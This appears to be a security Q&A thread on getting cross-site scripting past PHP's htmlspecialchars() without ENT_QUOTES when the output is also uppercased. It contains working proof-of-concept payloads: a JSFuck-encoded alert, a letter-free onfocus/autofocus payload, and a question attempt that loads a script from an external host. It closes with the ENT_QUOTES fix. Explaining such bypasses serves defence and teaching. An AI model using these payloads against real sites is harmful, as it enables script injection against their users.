10

I've looked into a bit of pentesting but the following is eluding me, I think I've got it but I can't get it to trigger!

Trying to bypass the following:

$strippedID = htmlspecialchars($ID);
$NEWID = strtoupper($strippedID);
...
echo "Tag ID: <input type='text' value='".$NEWID."'>";

So far I've tried:

test-xss.php?id=%27%20onload=%27javascript:alert(`XSS`)

This doesn't work because the alert function is changed to uppercase, and so an error is thrown in the console. I've also tried encoding the whole request parameters.

test-xss.php?id=x%27%3E%3CSCRIPT%20SRC=http://xss.rocks/xss.js%3E%3C/SCRIPT%3E%3Ci%20z=%27x

and this doesn't seem to want to work because even though the <> are encoded they still seem to come out as & lt; and & gt;

Maybe only attack is charset UTF-7?

Any ideas?

geekscrap
  • 233
  • 1
  • 2
  • 6

1 Answers1

16

Your parameter $ID is printed inside an HTML tag attribute value. Unfortunately, it's run through htmlspecialchars() which is supposed to encode HTML-significant characters. Since the function doesn't have the ENT_QUOTES flag set, it will escape <, >, &, ", but not ' (single quotes). Lucky for you, the value is enclosed by such single quotes, so you can use ' to break out of the attribute.

Next, you'd want to close the tag and start a new one (e.g. <script>) but htmlspecialchars() doesn't let you (as it escapes > and <). So instead, you have to use an event handler that works for <input> tags. The onload event handler doesn't apply to input boxes but you can use others, e.g.onmouseover. (The side effect is that you will need minimal user interaction to trigger the XSS, or need to take advantage of additional attributes like autofocus to have it triggered immediately on page load.)

So we have this:

<input type='text' value='' onmouseover='(javascript payload)'>
                          |-------------- $ID --------------|

Now, you can't just use plain JS like alert(1) as the payload since the value also runs through strtoupper() that would capitalize the function name to ALERT(1) which is invalid. Instead, you need to find JS code that works with capitals only, or even better, without any letters at all. For that you can use a tool like JSFuck that translates any JS code into an equivalent representation without any letters.

For example, alert(1) becomes:

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

So, this would be a working XSS PoC:

' onmouseover='[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

If using JSFuck is impractical for you (e.g. due to URL length restrictions as @chefarov remarked) there are other techniques that work without lowercase letters. E.g., the attribute value can be put entirely as HTML entities so that the a of alert is written as &#X61; and so on. (In your specific scenario you can't use this because htmlspecialchars() would also escape any &.)

However, here's a PoC of a shorter payload that avoids lowercase letters:

xss.php?xss='+autofocus+onfocus=U%3D[][[]]%2B''%3BY%3D[][U[4]%2BU[5]%2BU[6]%2BU[8]]%3BX%3DY%2B''%3BT%3D(!![]%2B'')%3BF%3D(![]%2B'')%3BZ%3DU[8]%2BU[3]%2BX[30]%2BX[31]%2BU[8]%2BU[3]%2B'URI'%3BG%3DY[X[3]%2BX[6]%2BX[2]%2BF[3]%2BT[0]%2BT[1]%2BT[2]%2BX[3]%2BT[0]%2BX[31]%2BT[1]]%3BG(U[3]%2BX[27]%2BF[1]%2BF[2]%2B'('%2BZ%2B'(`%2561%256C%2565%2572%2574%2528%2527%2578%2573%2573%2527%2529`))')()//

(I'm essentially assembling Function(eval(decodeURI(...))) without lowercase letters and can then feed it the actual payload URL-encoded (e.g. a => %61) which never requires lowercase letters.)


The fix

You should encode both double and single quotes by adding the ENT_QUOTES flag:

$NEWID = strtoupper(htmlspecialchars($ID, ENT_QUOTES));
Arminius
  • 43,922
  • 13
  • 140
  • 136
  • 2
    Finding htmlspecialchars too much effort to type, I make a function with a shorter name, and force ENT_QUOTES. doing the right thing should be easy, not hard. `function hsc($s){ return htmlspecialchars($s, ENT_QUOTES));}` – Jasen Dec 19 '16 at 08:25
  • nice answer. However using jsfuck is unrealistic, since any useful JS (instead of alert), will produce too long URI causing a 414 response – chefarov Oct 10 '18 at 10:31
  • @chefarov Good point. I added an approach that doesn't invlove JSFuck to the answer. – Arminius Oct 10 '18 at 12:31
  • @Arminius Thanks for your reply. If I encode the payload to HTML entities and test on the question's example it will print empty string on `value`. If I try HEX-coded payload, it will decode the payload and print the evaluated text as upper case. The browsers are evolving and diverging too fast so I assume that's always try & error situations. Anyway good to know that there is an `ENT_QUOTES` argument. – chefarov Oct 10 '18 at 17:04
  • 1
    @chefarov My bad, I forgot that `htmlentities()` encodes `a` to `&#X61;` making that approach unfeasible. But as a proof of concept, I outlined yet another technique that's inspired by JSFuck but much shorter. – Arminius Oct 10 '18 at 21:47
  • finally if we are trying to break something which has a function htmlspecialchars($data, ENT_QUOTES); then it is impossible to break it? right. because I have been stuck from past 2 days with the bwapp high level challenge of html injection with get method. So If any hint will be very very valuable to me. – Aman Gupta May 27 '19 at 02:23